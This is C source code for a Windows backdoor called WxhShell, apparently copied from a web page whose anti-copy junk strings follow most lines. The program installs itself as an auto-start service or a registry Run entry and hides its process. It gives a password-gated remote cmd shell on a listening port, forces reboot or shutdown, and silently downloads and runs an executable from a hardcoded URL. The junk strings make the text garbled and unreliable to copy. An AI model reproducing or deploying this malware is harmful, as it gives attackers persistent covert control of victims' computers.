    ExitThread(0); USlF+RY@3L  
    } B?$S~5  }  
    break; +ZY2a7uI  
    } b5lk0jA  
  // 关机 :y4)qF  
  case 'd': { <)r,CiS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0*/mc96  
    if(Boot(SHUTDOWN)) d4b 9rtM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3WQRN_  
    else { v(i1Z}*b  
    closesocket(wsh); MtMvpHk  
    ExitThread(0); xC= y^- 1  
    } Y{+zg9L*  
    break; 7qCJ]%)b6  
    } n$XMsl.>  
  // 获取shell 1EKcD^U,  
  case 's': { aeN }hG  
    CmdShell(wsh); 9:bh3@r/  
    closesocket(wsh); nF|#@O`1  
    ExitThread(0); #j(q/ T{x  
    break; \] tq7  
  } <1;,B%_^  
  // 退出 MzBfHt'Rk  
  case 'x': { 9^6|ta0;0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,-w-su=J_  
    CloseIt(wsh); $)kk8Q4+K  
    break; jx^|2  
    } *+_fP|cv  
  // 离开 ;t.SiA  
  case 'q': { QO1A976o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6i*ArGA   
    closesocket(wsh); S3%.-)ib  
    WSACleanup(); ">0/>>Ry  
    exit(1); I!C(K^  
    break; WLg6-@kxXs  
        } -o=P85 V  
  } eXskwV+7  
  } r6gt9u:  
@m !9"QhC  
  // 提示信息 @&nx;K6h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^.pE`l%1}  
} [ZL r:2+z  
  } B|Rpm^ |  
&0;{lS[N:L  
  return; P#vv+]/  
} 3B!&ow<rt  
N}.Q%&6:  
// shell模块句柄 sRo<4U0M;l  
int CmdShell(SOCKET sock) )A>U<n$h  
{ 2n-Tpay0  
STARTUPINFO si; ,H#qgnp  
ZeroMemory(&si,sizeof(si)); SK2J`*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F^%{ ;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w@ gl  
PROCESS_INFORMATION ProcessInfo; Z~-T0Ab-  
char cmdline[]="cmd"; f)u*Q!BDD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %x cM_|AyR  
  return 0; zm;*:]S  
} s +y'<88  
(Fbm9(q$d  
// 自身启动模式 ne !j%9Ar  
int StartFromService(void) 7gZVg@   
{ {kRDegby  
typedef struct Skr\a\ J  
{ MA/"UV&M(  
  DWORD ExitStatus; VOowA^  
  DWORD PebBaseAddress; 4 _c:Vl  
  DWORD AffinityMask; Se;?j-  
  DWORD BasePriority; e"v[)b++Y  
  ULONG UniqueProcessId; 5'{qEZs^QU  
  ULONG InheritedFromUniqueProcessId; :*F3  
}   PROCESS_BASIC_INFORMATION; &kXGWp  
V,|Bzcz  
PROCNTQSIP NtQueryInformationProcess; \>aa8LOe  
^2Fs)19R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &<fRej]v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !~w6"%2+7  
N%n1>!X)!  
  HANDLE             hProcess; #+k .b_LS  
  PROCESS_BASIC_INFORMATION pbi; &}L36|A:  
Eezlx9b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $Z(g=nS>  
  if(NULL == hInst ) return 0; )\I? EU8  
Up!ZCZ$RC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <x>k3bD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5m%baf2_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); alb+R$s  
Yt O@n@1  
  if (!NtQueryInformationProcess) return 0; u75)>^:I   
<L!~f`nH2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U4^p({\|-  
  if(!hProcess) return 0; ]U^d1&k  
\^;|S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Dbkuh!R  
sBuq  
  CloseHandle(hProcess); SG+i\yu$h0  
2=!3[> B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0c\|S>g [  
if(hProcess==NULL) return 0; !mErt2UJl  
Ck/_UY|  
HMODULE hMod; D<D k1  
char procName[255]; M|Lw`?T  
unsigned long cbNeeded; upEPv .h  
'7O{*=`oj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WV !kA_  
xj00eL  
  CloseHandle(hProcess); die2<'\4%  
 K+`-[v5\  
if(strstr(procName,"services")) return 1; // 以服务启动 !rsqr32]  
3 q.[-.q  
  return 0; // 注册表启动 .olP m3MC  
} 1$3XKw'  
faL^=CAe  
// 主模块 gQk#l\w _  
int StartWxhshell(LPSTR lpCmdLine)  Z,8+@  
{ vElL.<..  
  SOCKET wsl; [ilv/V<  
BOOL val=TRUE; d6d(? "  
  int port=0; 4-}A'fTU8  
  struct sockaddr_in door; @L>NN>?SGQ  
>gOI]*!5  
  if(wscfg.ws_autoins) Install(); !+|N<`  
C$..w80/1  
port=atoi(lpCmdLine); (61twutC  
Y9co?!J 5M  
if(port<=0) port=wscfg.ws_port; Y=WN4w  
qY~$wVY(  
  WSADATA data; hO<w]jV,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; meM.?kk(  
|>/&EElD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /Y\E68_Fh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eI=Y~jy  
  door.sin_family = AF_INET; ?C>VB+X}y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m^oi4mV  
  door.sin_port = htons(port); jO3u]5}.6  
T>uWf#&pjs  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &"j).Ogm4  
closesocket(wsl); G}?P r4Gj  
return 1; ,C@hTOT  
} @#ho(_U8  
EBL,E:_)  
  if(listen(wsl,2) == INVALID_SOCKET) { Z564K7IV  
closesocket(wsl); Zxxy1Fl#.[  
return 1; XdIVMXLL\  
} ^s(X VVA  
  Wxhshell(wsl); tx1m36a"  
  WSACleanup(); 5dNf$a0E  
7^t(RNq  
return 0; neY=:9  
PHiX:0zT  
} cT=wJ  
L};;o+5uJD  
// 以NT服务方式启动 ,w/mk$v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n XeK,C  
{ gq:TUvX  
DWORD   status = 0; i>if93mpj  
  DWORD   specificError = 0xfffffff; I.\f0I'.  
8,H5G`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t ]I(98pY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vhquHy.qi#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q"K>ML>0  
  serviceStatus.dwWin32ExitCode     = 0; A7,$y!D  
  serviceStatus.dwServiceSpecificExitCode = 0; 2p;}wYt  
  serviceStatus.dwCheckPoint       = 0; n.qxxzEN  
  serviceStatus.dwWaitHint       = 0; Sp$x%p0  
/%q9hI   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nj@?}`C 4  
  if (hServiceStatusHandle==0) return; $8T|r+<  
r dG2| Tp  
status = GetLastError(); <iprPk  
  if (status!=NO_ERROR) D15u1A  
{ _d=&9d#=\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ://# %SE  
    serviceStatus.dwCheckPoint       = 0; ]E8<;t)#  
    serviceStatus.dwWaitHint       = 0; 6RT0\^X*:  
    serviceStatus.dwWin32ExitCode     = status; >\oJ&gdc  
    serviceStatus.dwServiceSpecificExitCode = specificError; {7~ $$AR(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IweK!,:>dN  
    return; $Ex 9  
  } zf;[nz  
ONe!'a0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `0G.Y  
  serviceStatus.dwCheckPoint       = 0; [Fj#7VZK  
  serviceStatus.dwWaitHint       = 0; pA,EUh| H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uj1E* 98m  
} k| cI!   
2=,Sz1`t  
// 处理NT服务事件,比如:启动、停止 [oN> :  
VOID WINAPI NTServiceHandler(DWORD fdwControl) I7z]%Z  
{ W*DIW;8p  
switch(fdwControl) 1 l*(8!_  
{ P$qkb|D,  
case SERVICE_CONTROL_STOP: 56 kgL;$h  
  serviceStatus.dwWin32ExitCode = 0; FR6I+@ oX~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <C96]}/ ?  
  serviceStatus.dwCheckPoint   = 0; k42ur)pb  
  serviceStatus.dwWaitHint     = 0; sv6U%qV  
  { DMxS-hl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  t-x"(  
  } Oi[9b  
  return; H|:)K^o  
case SERVICE_CONTROL_PAUSE: )?IA`7X  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )~mc1 U`b  
  break; [ EID27P  
case SERVICE_CONTROL_CONTINUE: H!>oLui  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .&}4  
  break; 95 .'t}  
case SERVICE_CONTROL_INTERROGATE: 3XlnI:w =  
  break; MMr7,?,$  
}; hYv 6-5_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <J }9.k  
} |QTqa~~B  
v*fc5"3eO  
// 标准应用程序主函数 ~_j%nJ &2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 59Q Q_#>  
{ 32|L $o  
$H@)hY8wA  
// 获取操作系统版本 N3c)ce7[  
OsIsNt=GetOsVer(); }=m?gF%3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jMWwu+w  
+U)|&1oa  
  // 从命令行安装 bnY8.Lpf|  
  if(strpbrk(lpCmdLine,"iI")) Install(); cBF%])!  
FRQ("6(  
  // 下载执行文件 jLS]^|  
if(wscfg.ws_downexe) { {ro!OuA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7`<? f O  
  WinExec(wscfg.ws_filenam,SW_HIDE); X6*y/KG N  
} &r5%WRzpYT  
+siNU#!  
if(!OsIsNt) { 8Y~T$Yj^  
// 如果时win9x,隐藏进程并且设置为注册表启动 >upUY(3&  
HideProc(); RkP|_Bf8)  
StartWxhshell(lpCmdLine); $5CY<,f  
} 9x^ /kAB  
else AbI*/ |sY  
  if(StartFromService()) 4x?u5L 9o  
  // 以服务方式启动 9.#R?YP$  
  StartServiceCtrlDispatcher(DispatchTable); >8;%F<o2  
else d4h(F,K7V  
  // 普通方式启动 Y9y*" :&%  
  StartWxhshell(lpCmdLine); )0d".Q|v4  
bK;a V&  
return 0; P(nHXVSUE  
} PjZvLK@a9)  
J*&=J6  
/~huTKA}  
LF.~rmPa  
=========================================== Q R$sIu@%  
:p)9Heu  
cE>/iZc  
}e =GvWGa  
Pc4c Sw#5  
2co{9LM  
" Y'*h_K  
(wF$"c3'{  
#include <stdio.h> #(J}xz;  
#include <string.h> 7{F9b0zwk  
#include <windows.h> 7#. PMyK9  
#include <winsock2.h> kGiw?~t=%  
#include <winsvc.h>  !Ocg  
#include <urlmon.h> tU/NwA"  
%_O>Hy|p  
#pragma comment (lib, "Ws2_32.lib") <G?85*Nv_  
#pragma comment (lib, "urlmon.lib") 6-}e-H  
.V:<w~=b  
#define MAX_USER   100 // 最大客户端连接数 < ^!eaBR4  
#define BUF_SOCK   200 // sock buffer !rGI),  
#define KEY_BUFF   255 // 输入 buffer :!15>ML;-  
QO1Gq9  
#define REBOOT     0   // 重启  pytfsVM  
#define SHUTDOWN   1   // 关机 TFNU+  
'^3pF2lIw  
#define DEF_PORT   5000 // 监听端口 q ? TI,  
M|=$~@9#X  
#define REG_LEN     16   // 注册表键长度 Nh/ArugP5P  
#define SVC_LEN     80   // NT服务名长度 9],"AjD  
zR_l ^NK  
// 从dll定义API qA/ 3uA!z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b+apNph  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `^k<.O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MtTHKp   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T sW6w  
_?LI0iIFx  
// wxhshell配置信息 yZaDNc9'  
struct WSCFG { 0%j; yzQ<  
  int ws_port;         // 监听端口 } U1shG[  
  char ws_passstr[REG_LEN]; // 口令 Qh%vh ;|^  
  int ws_autoins;       // 安装标记, 1=yes 0=no jN>UW}?  
  char ws_regname[REG_LEN]; // 注册表键名 Y,}43a0A  
  char ws_svcname[REG_LEN]; // 服务名 e ;r-}U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D|3QLG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CGl+!t{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 irj}:f;!eF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |ema-pRC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" , )3+hnFY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2dW-WHaM  
g c=|< (  
}; -3U} (cZ*  
7B"aFnK;[J  
// default Wxhshell configuration )WJI=jl  
struct WSCFG wscfg={DEF_PORT, )3 ">%1R  
    "xuhuanlingzhe", oYx f((x  
    1, 98nLj9  
    "Wxhshell", Q_Sq  uuk  
    "Wxhshell", GQxJ (f  
            "WxhShell Service", 0Hf-~6  
    "Wrsky Windows CmdShell Service", 481u1  
    "Please Input Your Password: ", N Z9,9  
  1, k rjd:*E  
  "http://www.wrsky.com/wxhshell.exe", SYLkC [0 k  
  "Wxhshell.exe" <QLj6#d7Y  
    }; Ll48)P{+}V  
me\)JCZpb{  
// 消息定义模块 5*Iz3vTq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ')~HOCBSE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; IWnW(>V  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4yy yXj  
char *msg_ws_ext="\n\rExit."; /^ 7 9|$E  
char *msg_ws_end="\n\rQuit."; rVmO/Y#Hx$  
char *msg_ws_boot="\n\rReboot..."; s7LX  
char *msg_ws_poff="\n\rShutdown..."; P ^+>QJ1  
char *msg_ws_down="\n\rSave to "; Q-CVq_\3I  
7@]hu^)rry  
char *msg_ws_err="\n\rErr!"; 2mG?ve%m)  
char *msg_ws_ok="\n\rOK!"; #2,L)E\G8e  
;yrcH+I$_  
char ExeFile[MAX_PATH]; R_DQtLI  
int nUser = 0; NPabM(<`  
HANDLE handles[MAX_USER]; X~!?t }  
int OsIsNt; G&Sg .<hn  
!\v3bOi&  
SERVICE_STATUS       serviceStatus; ,aL"Wy(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v9kzMxs,  
\LXNdE2B  
// 函数声明 l]cQ7g5  
int Install(void); y+h=x4t  
int Uninstall(void); |9M y>8k(  
int DownloadFile(char *sURL, SOCKET wsh); Q"uu&JC  
int Boot(int flag); aW5~z^I  
void HideProc(void); izA3INT  
int GetOsVer(void); ZH :X 4!  
int Wxhshell(SOCKET wsl); UQr+\ u  
void TalkWithClient(void *cs); I !~Omr@P  
int CmdShell(SOCKET sock); roQIP%h!  
int StartFromService(void); a)b@en;v  
int StartWxhshell(LPSTR lpCmdLine); <{j9|mt  
L1K_|X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :6{HFMf"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]B[Qdn  
'KG`{K$  
// 数据结构和表定义 ]ORat.*0[T  
SERVICE_TABLE_ENTRY DispatchTable[] = $R4\jIew V  
{ ,pepr9Yd  
{wscfg.ws_svcname, NTServiceMain}, ^jA}*YP  
{NULL, NULL} #{sb>^BF  
}; H& +s&F{%  
\ 02e zG  
// 自我安装 euK!JZ  
int Install(void) K*[wr@)u  
{ >dY"B$A>  
  char svExeFile[MAX_PATH]; y0^FTSQ|  
  HKEY key; ~46ed3eGzi  
  strcpy(svExeFile,ExeFile); HN%ZN}  
k5M(Ve  
// 如果是win9x系统,修改注册表设为自启动 fRmc_tx  
if(!OsIsNt) { 7ac3N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /@e\I0P^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I&0yUhn  
  RegCloseKey(key); |n/id(R+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1??RX}8[L+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cj)~7 WF  
  RegCloseKey(key); eS|p3jk;  
  return 0; ( d.i np(  
    } >6j`ZWab>  
  } >LSA?dy!?  
} 52,a5TVG  
else { DTY=k  
DJ.Ct4  
// 如果是NT以上系统,安装为系统服务 g(Nf.hko  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^4:= b  
if (schSCManager!=0) usi p>y  
{ Ws(>} qjy  
  SC_HANDLE schService = CreateService R_ }(p2  
  ( @ ri. r1  
  schSCManager, czzV2P/t}  
  wscfg.ws_svcname, ] $*cmk(Y  
  wscfg.ws_svcdisp, &0`L;1R  
  SERVICE_ALL_ACCESS, q ^?{6}sy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R<)uvW_@  
  SERVICE_AUTO_START, +Xk!)Ge5E*  
  SERVICE_ERROR_NORMAL, n:+M Nr  
  svExeFile, _ev^5`>p/  
  NULL, I/l]Yv!  
  NULL, Z8W<RiR  
  NULL, )_ uK(UNZ5  
  NULL, ~jaGf  
  NULL y;H 3g#  
  ); d8>D=Ve  
  if (schService!=0) rv%Xvs B  
  { &!=3Fbn  
  CloseServiceHandle(schService); g;pymz  
  CloseServiceHandle(schSCManager); wpvaTHo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )m U)7@!  
  strcat(svExeFile,wscfg.ws_svcname); ?/~1z*XUW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _)Ms9RN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D~Su82 2  
  RegCloseKey(key); \BDNF< _  
  return 0; ]_h"2|  
    } h4C B1K  
  } aw`mB,5U  
  CloseServiceHandle(schSCManager); 2iu;7/  
} <fxYTd<#D[  
} ^]kDYhe*Y  
.B@;ch,  
return 1; 0M"E6z)9  
} IlVi1`]w  
6S(3tvUr  
// 自我卸载 UcZ3v]$I  
int Uninstall(void) c-,/qn/  
{ LQe<mZ<  
  HKEY key; ]=/f`  
_Z%C{~,7)x  
if(!OsIsNt) { p0/I}n4<5n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >9DgsA`'  
  RegDeleteValue(key,wscfg.ws_regname); AjpQb ~\  
  RegCloseKey(key); 1g@kHq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lUrchLoDt  
  RegDeleteValue(key,wscfg.ws_regname); rRMC< .=  
  RegCloseKey(key); vDemY"wz  
  return 0; S=o/n4@}  
  } E5rNC/Ul$$  
} O/-xkzR*  
} Y#G '[N>  
else { Vj_ $%0  
Uhf -}Jdw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c{[d@jt O  
if (schSCManager!=0) pq@ad\8  
{ opBv x>S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +VJl#sc/;  
  if (schService!=0) qdOS=7]W  
  { W[YtNL;  
  if(DeleteService(schService)!=0) { czj[U|eB}=  
  CloseServiceHandle(schService); 4):\,>%pK  
  CloseServiceHandle(schSCManager); Uc&0>_Z  
  return 0; 49CMRO,T  
  } sx9 N8T3n  
  CloseServiceHandle(schService); jN[Z mJz'  
  } nQ mkDPjU  
  CloseServiceHandle(schSCManager); *I~F7Z]|  
} T+\BX$w/4e  
} PW}Yts7p  
d;>:<{z@CD  
return 1; #2pgh?  
} sbRg=k&Ns  
= zsXa=<  
// 从指定url下载文件 nX   
int DownloadFile(char *sURL, SOCKET wsh) d{0>R{uac  
{ >IRo]-,  
  HRESULT hr; YpiSH(70`  
char seps[]= "/"; pDu~84!])  
char *token; /HLQ  
char *file; 7|2:;5:U  
char myURL[MAX_PATH]; re<"%D  
char myFILE[MAX_PATH]; 9Y7 tI3  
+q3W t|  
strcpy(myURL,sURL); ).-FuL4Y  
  token=strtok(myURL,seps); fx*Swv%r  
  while(token!=NULL) Z*JZ Ubo-Q  
  { C?z C|0  
    file=token; (bXCc  
  token=strtok(NULL,seps); i22R3&C  
  } Q (`IiV   
0-=QQOART\  
GetCurrentDirectory(MAX_PATH,myFILE); 2WKA] l;  
strcat(myFILE, "\\"); Tux~4W  
strcat(myFILE, file); R^D~ic N  
  send(wsh,myFILE,strlen(myFILE),0); !OiP<8 ,H  
send(wsh,"...",3,0); 1[!Idl?m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HzW ZQ6o  
  if(hr==S_OK) \PL92HV  
return 0; 0ya_[\  
else 2-8<uUy  
return 1; #ujcT%1G  
`P'{HT  
}  ?9AByg  
#x'C  
// 系统电源模块 xe 6x!  
int Boot(int flag) _I2AJn`#  
{ uu(.,11`  
  HANDLE hToken; "3Ec0U \s  
  TOKEN_PRIVILEGES tkp; 0evG  
m(9E{;   
  if(OsIsNt) { L-Z1Xs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1y>P<[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '*K/K],S]  
    tkp.PrivilegeCount = 1;  ,5<-\"{]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [3j]r{0I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iE$0-Qe[3  
if(flag==REBOOT) { $)kIYM&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J)*y1   
  return 0; 4H{L>e  
} bvAO(`  
else { M[N|HsI8?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dlyE2MiL:  
  return 0; u'}DG#@-  
} Ff|?<\x0}A  
  } iHTxD1 D+H  
  else { eqXW|,zUm  
if(flag==REBOOT) { a "8/y4Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o6'`W2P  
  return 0; GAQVeL1  
} ~bg FU  
else { R9{6$djq\:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E-l>z%  
  return 0; 9erTb?@S  
} HAP9XC(F]  
} O75ioO0  
D*heYh  
return 1; BoFJ8Ukq|  
} 7HFw*;  
,OG sx  
// win9x进程隐藏模块 ! G,Ru~j5:  
void HideProc(void) nAg|m,gA  
{ Z#d_<e?  
m/CA  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); d[jxU/.p;  
  if ( hKernel != NULL ) 5 '.j+{"  
  { AuSL?kZ4|Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z;1yZ4[G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p-M QI }  
    FreeLibrary(hKernel); <^OGJ}G  
  } n&k1'KL&  
 gryC#  
return; mR?OSeeB  
} R$wo{{KX  
s!uewS.  
// 获取操作系统版本 Au@U;a4UU  
int GetOsVer(void) V&[|%jm&   
{ pvkru-i]  
  OSVERSIONINFO winfo; 0!\pS{$zB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *S`& X Pj  
  GetVersionEx(&winfo); cy%^P^M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SkVW8n*s  
  return 1; ?;!l-Dy  
  else -k")#1  
  return 0; cl)%qIXj}H  
} Y[@$1{YS  
m8#+w0p)  
// 客户端句柄模块 R 8?Xz5  
int Wxhshell(SOCKET wsl) NgQ {'H[Y  
{ OV^) N  
  SOCKET wsh; t d-EB&i\  
  struct sockaddr_in client; N'3Vt8o,  
  DWORD myID; (hs[B4nV  
V;Te =4  
  while(nUser<MAX_USER)  E*i <P  
{ ^DM^HSm  
  int nSize=sizeof(client); #|xK> ;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nu|;(ly  
  if(wsh==INVALID_SOCKET) return 1; %Gh!h4Pv  
ut fD$8UI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H~Hh $-z  
if(handles[nUser]==0) u6$fF=  
  closesocket(wsh); Sycs u_je  
else _T)dmhG  
  nUser++; \k;*Ej~.  
  } rt^<=|Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !ku5P+y$  
;WWUxrWif  
  return 0; VYMs`d[  
} c"H*9u:  
gfR B  
// 关闭 socket WfL5. &  
void CloseIt(SOCKET wsh) 5W(G~m?jC6  
{ ok  iI:  
closesocket(wsh); {?$-p%CF`8  
nUser--; Vd1.g{yPV  
ExitThread(0); 0_J<=T?\"s  
} ULkjY1&  
o!dTB,Molr  
// 客户端请求句柄 3mIVNT@S9  
void TalkWithClient(void *cs) T&j_7Q\;vI  
{ 2*ZB[5_V  
\J.PrE'(}  
  SOCKET wsh=(SOCKET)cs; 7 &DhEI ^  
  char pwd[SVC_LEN]; (ylpH`  
  char cmd[KEY_BUFF]; ]Wa.k  
char chr[1]; %lF}!  
int i,j; *$0u A N  
g/'CX}g`  
  while (nUser < MAX_USER) { ^0Cr-  
aq@/sMn  
if(wscfg.ws_passstr) { ` zeZ7:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oQ{(7.e7)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * _)xlpy  
  //ZeroMemory(pwd,KEY_BUFF); Tky\W%Ag  
      i=0; 7`9J.L&,;  
  while(i<SVC_LEN) { WyF1Fw  
w z}BH  
  // 设置超时 xxLD8?@e7  
  fd_set FdRead; FFQ=<(Ki  
  struct timeval TimeOut; xPl+ rsU  
  FD_ZERO(&FdRead); =$`EB  
  FD_SET(wsh,&FdRead); 2^'|[*$k1@  
  TimeOut.tv_sec=8; .v?Ir)  
  TimeOut.tv_usec=0; \#?n'qyj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !yI , ~`Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NifzZEX  
z<YOA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Jr6aai3+  
  pwd=chr[0]; X"0n*UTF,  
  if(chr[0]==0xd || chr[0]==0xa) { 5ztHar~f  
  pwd=0; 'Y Bz?l9  
  break; |gxT-ZM  
  } T:p,!?kc7  
  i++; .KSPr  
    } Z/n\Ak sE  
uQIa"u7  
  // 如果是非法用户,关闭 socket '85@U`e.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hpo7diBE  
} ( qG | .a  
-HutEbkjx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bL v_<\:m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J$JXY@mBSC  
}D02*s  
while(1) { zkHwoAD;t8  
+nU"P  
  ZeroMemory(cmd,KEY_BUFF); J{<,V\t)  
;<i`6e  
      // 自动支持客户端 telnet标准   >G(M&  
  j=0; n#8N{ya5x1  
  while(j<KEY_BUFF) { |E/U(VS3l~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <!gq9  
  cmd[j]=chr[0]; @62QDlt;  
  if(chr[0]==0xa || chr[0]==0xd) { HIM>%   
  cmd[j]=0; Wyh   
  break; a7KP_[_(  
  } qw={gZ  
  j++; cyu)YxT  
    } Z:7X=t =  
s wgn( -  
  // 下载文件 G$FNofQx  
  if(strstr(cmd,"http://")) { tai  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hry*.s -  
  if(DownloadFile(cmd,wsh)) )xwWig.  
